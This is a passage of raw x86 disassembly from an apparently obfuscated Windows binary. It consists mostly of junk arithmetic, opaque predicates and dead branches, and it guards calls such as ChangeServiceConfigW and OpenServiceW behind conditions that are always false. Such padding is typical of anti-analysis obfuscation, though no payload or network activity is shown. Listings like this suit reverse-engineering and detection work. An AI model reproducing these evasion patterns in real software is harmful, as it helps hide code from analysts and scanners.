test eax, eax
jne 0x46e67a
cmp dword [ebp - 0x2bc], 0
jne 0x46e67a
and dword [ebp - 0xd88], 0
jmp 0x46e684
mov dword [ebp - 0xd88], 1
mov eax, dword [ebp - 0x2bc]
cmp dword [ebp - 0xd88], eax
jle 0x46e69e
mov dword [ebp - 0x1b8c], 1
jmp 0x46e6a5
and dword [ebp - 0x1b8c], 0
mov eax, dword [ebp - 0x600]
cmp dword [ebp - 0x1b8c], eax
jle 0x46e6bf
mov dword [ebp - 0xd90], 1
jmp 0x46e6c6
and dword [ebp - 0xd90], 0
mov eax, dword [ebp - 0x2bc]
cmp dword [ebp - 0xd90], eax
jle 0x46e6e0
mov dword [ebp - 0x1b94], 1
jmp 0x46e6e7
and dword [ebp - 0x1b94], 0
imul eax, dword [ebp - 0x1b94], 0xb292
mov dword [ebp - 0x544], eax
jmp 0x46e51e
jmp 0x46e3cd
lea ecx, [ebp - 0xd08]
call fcn.004313c0
push 0
push 0
push 0x142d
push 0
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
mov dword [ebp - 0x2068], 0x5609
mov dword [ebp - 0xda0], 0xdd79
mov dword [ebp - 0x1bac], 0x219909d0
mov dword [ebp - 0x1bc4], 0xfffffff9
mov dword [ebp - 0x1bd4], 0
mov dword [ebp - 0xdd8], 0xc94681c3
mov dword [ebp - 0x25ac], 0x757a8360
mov dword [ebp - 0x118], 0
jmp 0x46e77c
mov eax, dword [ebp - 0x118]
inc eax
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 1
jge 0x46e795
mov eax, dword [ebp - 0x118]
mov dword [ebp + eax*4 - 0x24], 7
jmp 0x46e76f
mov dword [ebp - 0x118], 0
jmp 0x46e7ae
mov eax, dword [ebp - 0x118]
inc eax
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 2
jge 0x46e7ca
mov eax, dword [ebp - 0x118]
mov dword [ebp + eax*4 - 0x31a4], 0xfaf14186
jmp 0x46e7a1
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x24], 0
jne 0x46e9dc
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x24], 0
je 0x46e916
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x24]
cmp dword [ebp + eax - 0x24], ecx
jge 0x46e81b
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x24], 0
je 0x46e81b
mov dword [ebp - 0x259c], 1
jmp 0x46e822
and dword [ebp - 0x259c], 0
xor eax, eax
jne 0x46e845
mov eax, 0xb7c39c9d
test eax, eax
jne 0x46e845
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x24], 0
jne 0x46e845
and dword [ebp - 0xd98], 0
jmp 0x46e84f
mov dword [ebp - 0xd98], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x24]
add eax, dword [ebp - 0xd98]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x24]
je 0x46e877
mov dword [ebp - 0x1b9c], 1
jmp 0x46e87e
and dword [ebp - 0x1b9c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x24]
cmp dword [ebp - 0x1b9c], eax
jne 0x46e89c
mov dword [ebp - 0xa50], 1
jmp 0x46e8a3
and dword [ebp - 0xa50], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xa50]
mov dword [ebp + eax - 0x31a4], ecx
mov eax, dword [ebp - 0xa50]
mov dword [ebp - 0xda0], eax
cmp dword [ebp - 0xda0], 0x8842b4cf
ja 0x46e8da
mov dword [ebp - 0x1ba4], 1
jmp 0x46e8e1
and dword [ebp - 0x1ba4], 0
cmp dword [ebp - 0x1ba4], 0xffffffff
jl 0x46e8f6
mov dword [ebp - 0xda8], 1
jmp 0x46e8fd
and dword [ebp - 0xda8], 0
mov eax, 0xffff
sub eax, dword [ebp - 0xda8]
je 0x46e916
mov dword [ebp - 0x25a4], 1
jmp 0x46e91d
and dword [ebp - 0x25a4], 0
mov dword [ebp - 0x1bac], 0x3b882169
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x24]
cmp dword [ebp - 0x1bac], eax
jne 0x46e945
mov dword [ebp - 0xdb0], 1
jmp 0x46e94c
and dword [ebp - 0xdb0], 0
imul eax, dword [ebp - 0xdb0], 0
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x24]
jne 0x46e96b
mov dword [ebp - 0x1bb4], 1
jmp 0x46e972
and dword [ebp - 0x1bb4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x24]
cmp dword [ebp - 0x1bb4], eax
jl 0x46e990
mov dword [ebp - 0xdb8], 1
jmp 0x46e997
and dword [ebp - 0xdb8], 0
mov eax, dword [ebp - 0xdb8]
sub eax, 0xffff
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x24]
jne 0x46e9ba
mov dword [ebp - 0x1bbc], 1
jmp 0x46e9c1
and dword [ebp - 0x1bbc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x24]
add eax, dword [ebp - 0x1bbc]
jne 0x46e9dc
and dword [ebp - 0xdc0], 0
jmp 0x46e9e6
mov dword [ebp - 0xdc0], 1
mov eax, dword [ebp - 0xdc0]
mov dword [ebp - 0x1bc4], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x24]
cmp dword [ebp - 0x1bc4], eax
jl 0x46ea10
mov dword [ebp - 0xdc8], 1
jmp 0x46ea17
and dword [ebp - 0xdc8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x24]
cmp dword [ebp - 0xdc8], eax
je 0x46ea3f
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x24], 0
jne 0x46ea3f
and dword [ebp - 0x1bcc], 0
jmp 0x46ea49
mov dword [ebp - 0x1bcc], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x24]
cmp dword [ebp - 0x1bcc], eax
jne 0x46ea67
mov dword [ebp - 0xdd0], 1
jmp 0x46ea6e
and dword [ebp - 0xdd0], 0
mov eax, dword [ebp - 0xdd0]
mov dword [ebp - 0x1bd4], eax
mov eax, dword [ebp - 0x1bd4]
mov dword [ebp - 0xdd8], eax
mov eax, dword [ebp - 0xdd8]
push 4
pop ecx
imul ecx, ecx, 0
sub eax, dword [ebp + ecx - 0x24]
jne 0x46eaa4
mov dword [ebp - 0x1bdc], 1
jmp 0x46eaab
and dword [ebp - 0x1bdc], 0
mov eax, dword [ebp - 0x1bdc]
mov dword [ebp - 0x25ac], eax
mov byte [ebp - 0x2a6], 0
movzx eax, byte [ebp - 0x2a6]
test eax, eax
je 0x46eade
push 0x1bee
push 0xc4e
push 0x1245
call dword [sym.imp.KERNEL32.dll_HeapCreate]
mov dword [ebp - 0x26d8], str.wruchosns_oia_wzidw_hyovp_ris_bvpmhua_akpby_guboxgfcl_xvbn_szqo
push 4
lea ecx, [ebp - 0x5a4]
call fcn.004312ee
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x25bc], 0xfffffff6
mov dword [ebp - 0x7f0], 0
jmp 0x46eb1f
mov eax, dword [ebp - 0x7f0]
inc eax
mov dword [ebp - 0x7f0], eax
cmp dword [ebp - 0x7f0], 4
jge 0x46eb41
push dword [ebp - 0x7f0]
lea ecx, [ebp - 0x5a4]
call fcn.004313dc
mov dword [eax], 0xfffffff7
jmp 0x46eb12
mov dword [ebp - 0x20], 0
jmp 0x46eb51
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 3
jg 0x46edbf
mov dword [ebp - 0x2c4], 0
mov esi, dword [ebp - 0x20]
push 1
lea ecx, [ebp - 0x5a4]
call fcn.004313dc
add esi, dword [eax]
push dword [ebp - 0x20]
lea ecx, [ebp - 0x5a4]
call fcn.004313dc
cmp esi, dword [eax]
jle 0x46eb95
mov dword [ebp - 0xde0], 1
jmp 0x46eb9c
and dword [ebp - 0xde0], 0
push dword [ebp - 0x20]
lea ecx, [ebp - 0x5a4]
call fcn.004313dc
mov eax, dword [eax]
cmp eax, dword [ebp - 0xde0]
jg 0x46ebc0
mov dword [ebp - 0x1be4], 1
jmp 0x46ebc7
and dword [ebp - 0x1be4], 0
cmp dword [ebp - 0x1be4], 0
jne 0x46ebdc
mov dword [ebp - 0xde8], 1
jmp 0x46ebe3
and dword [ebp - 0xde8], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0xde8], eax
jl 0x46ebfa
mov dword [ebp - 0x1bec], 1
jmp 0x46ec01
and dword [ebp - 0x1bec], 0
push dword [ebp - 0x20]
lea ecx, [ebp - 0x5a4]
call fcn.004313dc
mov ecx, dword [ebp - 0x1bec]
cmp ecx, dword [eax]
jne 0x46ec25
mov dword [ebp - 0xdf0], 1
jmp 0x46ec2c
and dword [ebp - 0xdf0], 0
push dword [ebp - 0x20]
lea ecx, [ebp - 0x5a4]
call fcn.004313dc
mov ecx, dword [ebp - 0xdf0]
cmp ecx, dword [eax]
jg 0x46ec50
mov dword [ebp - 0x1bf4], 1
jmp 0x46ec57
and dword [ebp - 0x1bf4], 0
push dword [ebp - 0x20]
lea ecx, [ebp - 0x5a4]
call fcn.004313dc
mov esi, dword [eax]
sub esi, dword [ebp - 0x1bf4]
push dword [ebp - 0x20]
lea ecx, [ebp - 0x5a4]
call fcn.004313dc
cmp esi, dword [eax]
jle 0x46ec8b
mov dword [ebp - 0xdf8], 1
jmp 0x46ec92
and dword [ebp - 0xdf8], 0
push 1
lea ecx, [ebp - 0x5a4]
call fcn.004313dc
mov ecx, dword [ebp - 0xdf8]
cmp ecx, dword [eax]
jg 0x46ecb7
push dword [ebp - 0x20]
lea ecx, [ebp - 0x5a4]
call fcn.004313dc
push dword [ebp - 0x20]
lea ecx, [ebp - 0x5a4]
call fcn.004313dc
mov esi, eax
push dword [ebp - 0x20]
lea ecx, [ebp - 0x5a4]
call fcn.004313dc
mov ecx, dword [esi]
cmp ecx, dword [eax]
jne 0x46ece7
mov dword [ebp - 0x1bfc], 1
jmp 0x46ecee
and dword [ebp - 0x1bfc], 0
mov eax, dword [ebp - 0x1bfc]
dec eax
mov dword [ebp - 0xe00], eax
push dword [ebp - 0x20]
lea ecx, [ebp - 0x5a4]
call fcn.004313dc
mov ecx, dword [ebp - 0xe00]
mov dword [eax], ecx
cmp dword [ebp - 0xe00], 0
je 0x46ed2c
cmp dword [ebp - 0x20], 0
je 0x46ed2c
mov dword [ebp - 0x1c04], 1
jmp 0x46ed33
and dword [ebp - 0x1c04], 0
mov eax, dword [ebp - 0x2c4]
cmp dword [ebp - 0x1c04], eax
jg 0x46ed4d
mov dword [ebp - 0x25b4], 1
jmp 0x46ed54
and dword [ebp - 0x25b4], 0
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x3160], eax
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x2c4], eax
jne 0x46ed75
push 2
lea ecx, [ebp - 0x5a4]
call fcn.004313dc
mov eax, dword [ebp - 0x2c4]
mov dword [ebp - 0x3650], eax
mov eax, dword [ebp - 0x2c4]
mov dword [ebp - 0x3168], eax
push dword [ebp - 0x20]
lea ecx, [ebp - 0x5a4]
call fcn.004313dc
mov eax, dword [ebp - 0x2c4]
mov dword [ebp - 0x34d4], eax
imul eax, dword [ebp - 0x2c4], 9
sub eax, dword [ebp - 0x2c4]
mov dword [ebp - 0x25bc], eax
jmp 0x46eb4a
lea ecx, [ebp - 0x5a4]
call fcn.004313c0
mov dword [ebp - 0xc8], 0xfd3df75d
mov dword [ebp - 0xc8], 0x18
jmp 0x46eded
mov eax, dword [ebp - 0xc8]
dec eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 0xffffffea
jl 0x46efe1
mov dword [ebp - 0x1c0c], 0xffffffff
push 2
lea ecx, [ebp - 0x20cc]
call fcn.004312ee
mov dword [ebp - 0x608], 0
jmp 0x46ee2a
mov eax, dword [ebp - 0x608]
inc eax
mov dword [ebp - 0x608], eax
cmp dword [ebp - 0x608], 2
jge 0x46ee4c
push dword [ebp - 0x608]
lea ecx, [ebp - 0x20cc]
call fcn.004313dc
mov dword [eax], 0x97bc8b4
jmp 0x46ee1d
cmp dword [ebp - 0xc8], 0
je 0x46ee65
lea ecx, [ebp - 0x20cc]
call fcn.004313c0
jmp 0x46efe1
cmp dword [ebp - 0xc8], 0
jne 0x46ee97
mov esi, dword [ebp - 0xc8]
push 0
lea ecx, [ebp - 0x20cc]
call fcn.004313dc
cmp esi, dword [eax]
jge 0x46ee97
cmp dword [ebp - 0xc8], 0
jne 0x46ee97
and dword [ebp - 0xe08], 0
jmp 0x46eea1
mov dword [ebp - 0xe08], 1
push 0
lea ecx, [ebp - 0x20cc]
call fcn.004313dc
mov ecx, dword [ebp - 0xe08]
cmp ecx, dword [eax]
je 0x46eecd
cmp dword [ebp - 0xc8], 0
je 0x46eecd
mov dword [ebp - 0xe10], 1
jmp 0x46eed4
and dword [ebp - 0xe10], 0
mov eax, dword [ebp - 0xc8]
mov dword [ebp - 0x1c0c], eax
mov eax, dword [ebp - 0x1c0c]
cmp eax, dword [ebp - 0xe10]
jle 0x46eefa
mov dword [ebp - 0x1c14], 1
jmp 0x46ef01
and dword [ebp - 0x1c14], 0
imul eax, dword [ebp - 0x1c14], 0x912e
cmp eax, 0xc590f023
jbe 0x46ef1e
mov dword [ebp - 0xe18], 1
jmp 0x46ef25
and dword [ebp - 0xe18], 0
cmp dword [ebp - 0xe18], 0x73046773
jg 0x46ef3d
mov dword [ebp - 0x1c1c], 1
jmp 0x46ef44
and dword [ebp - 0x1c1c], 0
mov esi, dword [ebp - 0x1c1c]
dec esi
dec esi
push 0
lea ecx, [ebp - 0x20cc]
call fcn.004313dc
cmp esi, dword [eax]
jl 0x46ef69
mov dword [ebp - 0xe20], 1
jmp 0x46ef70
and dword [ebp - 0xe20], 0
push 0
lea ecx, [ebp - 0x20cc]
call fcn.004313dc
mov ecx, dword [ebp - 0xe20]
add ecx, dword [eax]
cmp ecx, 0xe63a5bed
jne 0x46ef99
mov dword [ebp - 0x1c24], 1
jmp 0x46efa0
and dword [ebp - 0x1c24], 0
cmp dword [ebp - 0x1c24], 2
jne 0x46efb5
mov dword [ebp - 0xe28], 1
jmp 0x46efbc
and dword [ebp - 0xe28], 0
push 0
lea ecx, [ebp - 0x20cc]
call fcn.004313dc
mov ecx, dword [ebp - 0xe28]
mov dword [eax], ecx
lea ecx, [ebp - 0x20cc]
call fcn.004313c0
jmp 0x46ede0
mov dword [ebp - 0x40c], 5
mov dword [ebp - 0xe38], 0xe04822b1
push 3
lea ecx, [ebp - 0xd2c]
call fcn.004312ee
mov dword [ebp - 0xc10], 0xc657e3b6
mov dword [ebp - 0x2f78], 0xfffffffa
mov dword [ebp - 0x2f74], 0xfffffffa
mov dword [ebp - 0x2f70], 0xfffffffa
mov dword [ebp - 0x2f6c], 0xfffffffa
mov dword [ebp - 0x25cc], 0xfffffffc
mov dword [ebp - 0x25d4], 1
mov dword [ebp - 0x8e8], 0
jmp 0x46f061
mov eax, dword [ebp - 0x8e8]
inc eax
mov dword [ebp - 0x8e8], eax
cmp dword [ebp - 0x8e8], 3
jge 0x46f083
push dword [ebp - 0x8e8]
lea ecx, [ebp - 0xd2c]
call fcn.004313dc
mov dword [eax], 1
jmp 0x46f054
mov eax, dword [ebp - 0x40c]
inc eax
mov dword [ebp - 0x40c], eax
mov eax, dword [ebp - 0x40c]
mov dword [ebp - 0x3170], eax
mov eax, dword [ebp - 0x40c]
mov dword [ebp - 0x36d4], eax
push 2
lea ecx, [ebp - 0xd2c]
call fcn.004313dc
push 2
lea ecx, [ebp - 0xd2c]
call fcn.004313dc
mov esi, eax
push 0
lea ecx, [ebp - 0xd2c]
call fcn.004313dc
mov ecx, dword [esi]
cmp ecx, dword [eax]
jne 0x46f0e3
mov dword [ebp - 0x1c2c], 1
jmp 0x46f0ea
and dword [ebp - 0x1c2c], 0
mov eax, dword [ebp - 0x1c2c]
mov dword [ebp - 0xc10], eax
cmp dword [ebp - 0xc10], 0
je 0x46f10c
push 1
lea ecx, [ebp - 0xd2c]
call fcn.004313dc
cmp dword [ebp - 0x40c], 0xd193e05
je 0x46f136
push 2
lea ecx, [ebp - 0xd2c]
call fcn.004313dc
cmp dword [eax], 0
je 0x46f136
mov dword [ebp - 0x25c4], 1
jmp 0x46f13d
and dword [ebp - 0x25c4], 0
push 2
lea ecx, [ebp - 0xd2c]
call fcn.004313dc
mov eax, dword [ebp - 0xc10]
mov dword [ebp - 0xe30], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xe30]
mov dword [ebp + eax - 0x2f78], ecx
push 2
lea ecx, [ebp - 0xd2c]
call fcn.004313dc
mov ecx, dword [ebp - 0xe30]
cmp ecx, dword [eax]
jg 0x46f18c
mov dword [ebp - 0x1c34], 1
jmp 0x46f193
and dword [ebp - 0x1c34], 0
mov eax, dword [ebp - 0x1c34]
mov dword [ebp - 0x25cc], eax
cmp dword [ebp - 0x40c], 0x3a38
je 0x46f1b7
mov dword [ebp - 0x1c3c], 1
jmp 0x46f1be
and dword [ebp - 0x1c3c], 0
mov dword [ebp - 0xe38], 0xffffffff
mov eax, dword [ebp - 0xe38]
cmp eax, dword [ebp - 0x1c3c]
jne 0x46f1e2
mov dword [ebp - 0xe40], 1
jmp 0x46f1e9
and dword [ebp - 0xe40], 0
mov eax, dword [ebp - 0xe40]
mov dword [ebp - 0x25d4], eax
lea ecx, [ebp - 0xd2c]
call fcn.004313c0
mov dword [ebp - 0xf30], 0xdd79
push 2
lea ecx, [ebp - 0x32b0]
call fcn.004312ee
mov dword [ebp - 0x7f8], 0xaabecba2
mov dword [ebp - 0x610], 0
jmp 0x46f23a
mov eax, dword [ebp - 0x610]
inc eax
mov dword [ebp - 0x610], eax
cmp dword [ebp - 0x610], 2
jge 0x46f25c
push dword [ebp - 0x610]
lea ecx, [ebp - 0x32b0]
call fcn.004313dc
mov dword [eax], 0x13dd33a4
jmp 0x46f22d
mov dword [ebp - 0x7f8], 0
jmp 0x46f275
mov eax, dword [ebp - 0x7f8]
inc eax
mov dword [ebp - 0x7f8], eax
cmp dword [ebp - 0x7f8], 1
jg 0x46f2a8
mov byte [ebp - 0x2a8], 0
movzx eax, byte [ebp - 0x2a8]
test eax, eax
je 0x46f2a6
push 0x3c7
push 0
push 0
push 0xbce
push 0
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
jmp 0x46f268
lea ecx, [ebp - 0x32b0]
call fcn.004313c0
mov dword [ebp - 0x1d3c], 0x219909d0
mov dword [ebp - 0x2b44], 0xe91a049f
mov dword [ebp - 0x2b40], 0xe91a049f
mov dword [ebp - 0x2b3c], 0xe91a049f
mov dword [ebp - 0x2b38], 0xe91a049f
mov dword [ebp - 0x618], 0xc1ec2db2
mov dword [ebp - 0x228], 0xc25bfc88
mov dword [ebp - 0x1c4c], 0xffffffff
mov dword [ebp - 0x618], 3
jmp 0x46f31c
mov eax, dword [ebp - 0x618]
dec eax
mov dword [ebp - 0x618], eax
cmp dword [ebp - 0x618], 0
jl 0x46f5c1
mov dword [ebp - 0x2cc], 2
mov dword [ebp - 0xa58], 0x76038591
push 4
lea ecx, [ebp - 0x2dec]
call fcn.004312ee
mov dword [ebp - 0x960], 0
jmp 0x46f363
mov eax, dword [ebp - 0x960]
inc eax
mov dword [ebp - 0x960], eax
cmp dword [ebp - 0x960], 4
jge 0x46f385
push dword [ebp - 0x960]
lea ecx, [ebp - 0x2dec]
call fcn.004313dc
mov dword [eax], 0xffff
jmp 0x46f356
mov dword [ebp - 0x2cc], 0
jmp 0x46f39e
mov eax, dword [ebp - 0x2cc]
inc eax
mov dword [ebp - 0x2cc], eax
cmp dword [ebp - 0x2cc], 3
jg 0x46f5b1
mov dword [ebp - 0x494], 0xc34eea2a
mov dword [ebp - 0x3bc], 0xfffffffc
mov dword [ebp - 0x494], 3
jmp 0x46f3d8
mov eax, dword [ebp - 0x494]
dec eax
mov dword [ebp - 0x494], eax
cmp dword [ebp - 0x494], 0
jl 0x46f56e
mov dword [ebp - 0xb80], 0
mov dword [ebp - 0x25dc], 1
mov eax, dword [ebp - 0xa58]
inc eax
mov dword [ebp - 0xa58], eax
mov dword [ebp - 0x228], 3
jmp 0x46f41f
mov eax, dword [ebp - 0x228]
dec eax
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 0
jl 0x46f569
mov eax, dword [ebp - 0x2cc]
cmp dword [ebp + eax*4 - 0x2b44], 1
jl 0x46f448
mov dword [ebp - 0x1c44], 1
jmp 0x46f44f
and dword [ebp - 0x1c44], 0
mov eax, dword [ebp - 0xb80]
cmp dword [ebp - 0x1c44], eax
jl 0x46f469
mov dword [ebp - 0xe48], 1
jmp 0x46f470
and dword [ebp - 0xe48], 0
mov eax, dword [ebp - 0x494]
mov ecx, dword [ebp - 0xe48]
sub ecx, dword [ebp - 0xb80]
imul ecx, ecx, 0
imul eax, ecx
mov dword [ebp - 0x1c4c], eax
mov eax, dword [ebp - 0x1c4c]
inc eax
je 0x46f4ac
cmp dword [ebp - 0xa58], 0
je 0x46f4ac
mov dword [ebp - 0xe50], 1
jmp 0x46f4b3
and dword [ebp - 0xe50], 0
mov eax, dword [ebp - 0xe50]
mov dword [ebp - 0x3bc], eax
mov eax, dword [ebp - 0x2cc]
cmp dword [ebp - 0x3bc], eax
jl 0x46f4d9
mov dword [ebp - 0x1c54], 1
jmp 0x46f4e0
and dword [ebp - 0x1c54], 0
mov eax, dword [ebp - 0xb80]
cmp dword [ebp - 0x1c54], eax
jle 0x46f4fa
mov dword [ebp - 0xe58], 1
jmp 0x46f501
and dword [ebp - 0xe58], 0
cmp dword [ebp - 0xe58], 0x2d50
je 0x46f519
mov dword [ebp - 0x1c5c], 1
jmp 0x46f520
and dword [ebp - 0x1c5c], 0
push 3
lea ecx, [ebp - 0x2dec]
call fcn.004313dc
mov ecx, dword [ebp - 0x1c5c]
cmp ecx, dword [eax]
jne 0x46f543
mov dword [ebp - 0xe60], 1
jmp 0x46f54a
and dword [ebp - 0xe60], 0
mov eax, dword [ebp - 0x2cc]
mov eax, dword [ebp + eax*4 - 0x2b44]
imul eax, dword [ebp - 0xe60]
mov dword [ebp - 0x25dc], eax
jmp 0x46f412
jmp 0x46f3cb
mov dword [ebp - 0x3bc], 0
jmp 0x46f587
mov eax, dword [ebp - 0x3bc]
inc eax
mov dword [ebp - 0x3bc], eax
cmp dword [ebp - 0x3bc], 3
jg 0x46f5ac
mov byte [ebp - 0x2aa], 0
movzx eax, byte [ebp - 0x2aa]
test eax, eax
je 0x46f5aa
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
jmp 0x46f57a
jmp 0x46f391
lea ecx, [ebp - 0x2dec]
call fcn.004313c0
jmp 0x46f30f
mov dword [ebp - 0x228], 0
jmp 0x46f5da
mov eax, dword [ebp - 0x228]
inc eax
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 3
jg 0x46f63d
mov byte [ebp - 0x2ac], 0
movzx eax, byte [ebp - 0x2ac]
test eax, eax
je 0x46f61a
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x255e
push 0x10e6
push 0x1d31
push 0
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
mov byte [ebp - 0x26f], 0
movzx eax, byte [ebp - 0x26f]
test eax, eax
je 0x46f63b
push 0x25e
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
jmp 0x46f5cd
mov dword [ebp - 0x1d54], 0xfffffff9
mov dword [ebp - 0x3178], 0x2e0c
mov byte [ebp - 0x397], 0
movzx eax, byte [ebp - 0x397]
test eax, eax
je 0x46f672
push 0x30d
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov byte [ebp - 0x271], 0
movzx eax, byte [ebp - 0x271]
test eax, eax
je 0x46f68a
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x1d64], 0
push 2
lea ecx, [ebp - 0x21c4]
call fcn.004312ee
mov dword [ebp - 0x2b94], 4
mov dword [ebp - 0x2b90], 4
mov dword [ebp - 0x2b8c], 4
mov dword [ebp - 0x2b88], 4
lea ecx, [ebp - 0xc53]
call fcn.004313eb
push eax
lea eax, [ebp - 0x2b84]
push eax
lea eax, [ebp - 0x2b94]
push eax
lea ecx, [ebp - 0x381c]
call fcn.004313ee
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x29a4]
call fcn.0043139a
mov dword [ebp - 0x2914], 0
mov dword [ebp - 0x2910], 0
mov dword [ebp - 0x290c], 0
mov dword [ebp - 0x2908], 0
mov dword [ebp - 0x25fc], 0xeadd5d08
mov dword [ebp - 0x620], 0
jmp 0x46f749
mov eax, dword [ebp - 0x620]
inc eax
mov dword [ebp - 0x620], eax
cmp dword [ebp - 0x620], 2
jge 0x46f76b
push dword [ebp - 0x620]
lea ecx, [ebp - 0x21c4]
call fcn.004313dc
mov dword [eax], 0xffff
jmp 0x46f73c
push 1
lea ecx, [ebp - 0x21c4]
call fcn.004313dc
cmp dword [eax], 0
jne 0x46f798
push 0
lea ecx, [ebp - 0x29a4]
call fcn.004313dc
cmp dword [eax], 0
jne 0x46f798
and dword [ebp - 0xe70], 0
jmp 0x46f7a2
mov dword [ebp - 0xe70], 1
push 1
lea ecx, [ebp - 0x21c4]
call fcn.004313dc
cmp dword [eax], 0xf2f
jle 0x46f7c3
mov dword [ebp - 0x1c64], 1
jmp 0x46f7ca
and dword [ebp - 0x1c64], 0
push 0
lea ecx, [ebp - 0x29a4]
call fcn.004313dc
mov ecx, dword [ebp - 0x1c64]
sub ecx, dword [eax]
mov dword [ebp - 0x25e4], ecx
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x25e4]
mov dword [ebp + eax - 0x2914], ecx
push 1
lea ecx, [ebp - 0x21c4]
call fcn.004313dc
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2914]
mov dword [ebp - 0x34e4], eax
push 1
lea ecx, [ebp - 0x21c4]
call fcn.004313dc
cmp dword [eax], 0
jne 0x46f843
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2914], 0
jne 0x46f843
and dword [ebp - 0xe68], 0
jmp 0x46f84d
mov dword [ebp - 0xe68], 1
push 0
lea ecx, [ebp - 0x29a4]
call fcn.004313dc
mov eax, dword [eax]
cmp eax, dword [ebp - 0xe68]
jge 0x46f870
mov dword [ebp - 0x1c6c], 1
jmp 0x46f877
and dword [ebp - 0x1c6c], 0
imul eax, dword [ebp - 0x1c6c], 0xfffffff7
cmp eax, 0xeb6b9dd9
jb 0x46f891
mov dword [ebp - 0x1c74], 1
jmp 0x46f898
and dword [ebp - 0x1c74], 0
mov eax, dword [ebp - 0xe70]
cmp eax, dword [ebp - 0x1c74]
jl 0x46f8eb
mov dword [ebp - 0x800], 0xe356ec7e
mov dword [ebp - 0x800], 0
jmp 0x46f8c9
mov eax, dword [ebp - 0x800]
dec eax
mov dword [ebp - 0x800], eax
cmp dword [ebp - 0x800], 0xfffffff5
jge 0x46f8e9
mov dword [ebp - 0x25ec], 0
cmp dword [ebp - 0x25ec], 0
je 0x46f8e7
jmp 0x46f8e9
jmp 0x46f8bc
jmp 0x46f961
mov dword [ebp - 0x25f4], 0
mov dword [ebp - 0x2604], 0xea3de81d
push 4
pop eax
shl eax, 1
lea eax, [ebp + eax - 0x2914]
mov dword [ebp - 0xe78], eax
push 1
lea ecx, [ebp - 0x21c4]
call fcn.004313dc
mov ecx, dword [ebp - 0xe78]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0x25f4]
mov ecx, dword [ebp - 0xe78]
cmp dword [ecx], eax
jl 0x46f944
mov dword [ebp - 0x1c7c], 1
jmp 0x46f94b
and dword [ebp - 0x1c7c], 0
mov eax, dword [ebp - 0x1c7c]
mov dword [ebp - 0x25fc], eax
mov dword [ebp - 0x2604], 0xbd10caad
lea ecx, [ebp - 0x29a4]
call fcn.004313c0
lea ecx, [ebp - 0x21c4]
call fcn.004313c0
mov dword [ebp - 0xf68], 0xc94681c3
mov dword [ebp - 0x628], 0xd6c05baf
mov dword [ebp - 0x3180], 0xb4074dd0
mov dword [ebp - 0x3658], 0xf5a9c4c8
mov dword [ebp - 0x3188], 0x5534bf8f
mov dword [ebp - 0x34f4], 0x7fbf2121
mov dword [ebp - 0x628], 0
jmp 0x46f9cc
mov eax, dword [ebp - 0x628]
inc eax
mov dword [ebp - 0x628], eax
cmp dword [ebp - 0x628], 5
jl 0x46f9ee
mov dword [ebp - 0xe80], 0x188e17b8
mov eax, dword [ebp - 0xe80]
inc eax
mov dword [ebp - 0xe80], eax
jmp 0x46f9bf
mov dword [ebp - 0x266c], 0x757a8360
mov dword [ebp - 0x44c], 0x8a1f
mov dword [ebp - 0x3c4], 0xfffffff6
mov dword [ebp - 0x1cac], 0x92e7baa9
mov dword [ebp - 0x8f0], 0
jmp 0x46fa2f
mov eax, dword [ebp - 0x8f0]
inc eax
mov dword [ebp - 0x8f0], eax
cmp dword [ebp - 0x8f0], 4
jge 0x46fa4b
mov eax, dword [ebp - 0x8f0]
mov dword [ebp + eax*4 - 0x2fb8], 1
jmp 0x46fa22
mov byte [ebp - 0x355], 0
movzx eax, byte [ebp - 0x355]
test eax, eax
je 0x46fa6c
push 0
push 0x148b
push 0
call dword [sym.imp.GDI32.dll_GetEnhMetaFileHeader]
